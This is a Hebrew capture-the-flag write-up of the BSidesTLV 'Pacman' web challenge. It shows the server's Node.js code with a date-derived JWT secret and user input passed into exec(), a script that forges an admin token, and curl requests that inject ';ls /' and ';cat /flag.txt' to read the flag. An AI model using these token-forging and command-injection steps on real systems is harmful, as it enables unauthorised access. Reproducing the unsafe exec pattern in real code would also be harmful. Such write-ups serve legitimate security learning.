Pacman
- קטגוריה: Web Application
- 500 נקודות
- נפתר על ידי קבוצת JCTF
תיאור
פתרון
הקובץ שצורף כלל את הקוד הבא:
function generateKey() {
const date = new Date();
const year = date.getFullYear();
let month = date.getMonth() + 1;
month = (month < 10 ? "0" : "") + month;
let day = date.getDate();
day = (day < 10 ? "0" : "") + day;
const key = `${year}:${month}:${day}:LevelUP!`;
return crypto.createHash('md5').update(key).digest("hex");
}
function decodeValue(token, key) {
try {
return jwt.verify(token, key, function (err, decoded) {
return decoded.isAdmin
});
}
catch(err) {
return false;
}
}
app.get('/', function(req, res) {
if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
res.render('game.ejs');
} else {
res.send("You are not authorized!");
}
});
app.post('/levelUp', function(req, res) {
if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
const level = req.body.level;
exec('./levelup ' + level, (err, stdout) => {
res.send(stdout)
});
} else {
res.send("You are not authorized!");
}
});
כדי להיות מסוגלים לבצע פעולה משמעותית, ראשית עלינו להיות מסוגלים לעבור את הבדיקה של jwt.verify. עלינו לקודד את הערך {"isAdmin": "1"}. לשם כך נבנה את המפתח כפי שהקוד המצורף עשה, באמצעות שימוש בתאריך ובמחרוזת קבועה:
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
function generateKey() {
const date = new Date();
const year = date.getFullYear();
let month = date.getMonth() + 1;
month = (month < 10 ? "0" : "") + month;
let day = date.getDate();
day = (day < 10 ? "0" : "") + day;
const key = `${year}:${month}:${day}:LevelUP!`;
return crypto.createHash('md5').update(key).digest("hex");
}
var h = generateKey()
console.log("Hash:")
console.log(h)
var token = jwt.sign({ isAdmin: '1' }, h, { algorithm: 'HS256'});
console.log("JWT:")
console.log(token)
התוצאה היא:
root@kali:~/CTFs/bsides/Pacman# nodejs hash.js
Hash:
55c0e94af90e38d9a4544c19e2ff99f8
JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE
בצירוף שליחת ה-User Agnet הדרוש, אנחנו יכולים לדבר עם ה-API:
root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -d "level=1337"
Level up!
כעת נותר לגלות מהו הדגל. לשם כך ננצל חולשה במימוש השורה הבאה:
exec('./levelup ' + level, ...)
הקלט מהמשתמש משורשר ישירות למחרוזת קבועה, והתוצאה משמשת כקלט ל-exec.
מה יקרה אם נשרשר ";ls"?
root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;ls /"}'
bin
dev
etc
flag.txt
home
...
שתי הפקודות בוצעו אחת לאחר השנייה. ניתן לשרשר גם ";cat /flag.txt" ולקבל את הדגל:
root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;cat /flag.txt"}'
Level up!
BSidesTLV{H1dd3nPacmanLevelUP!}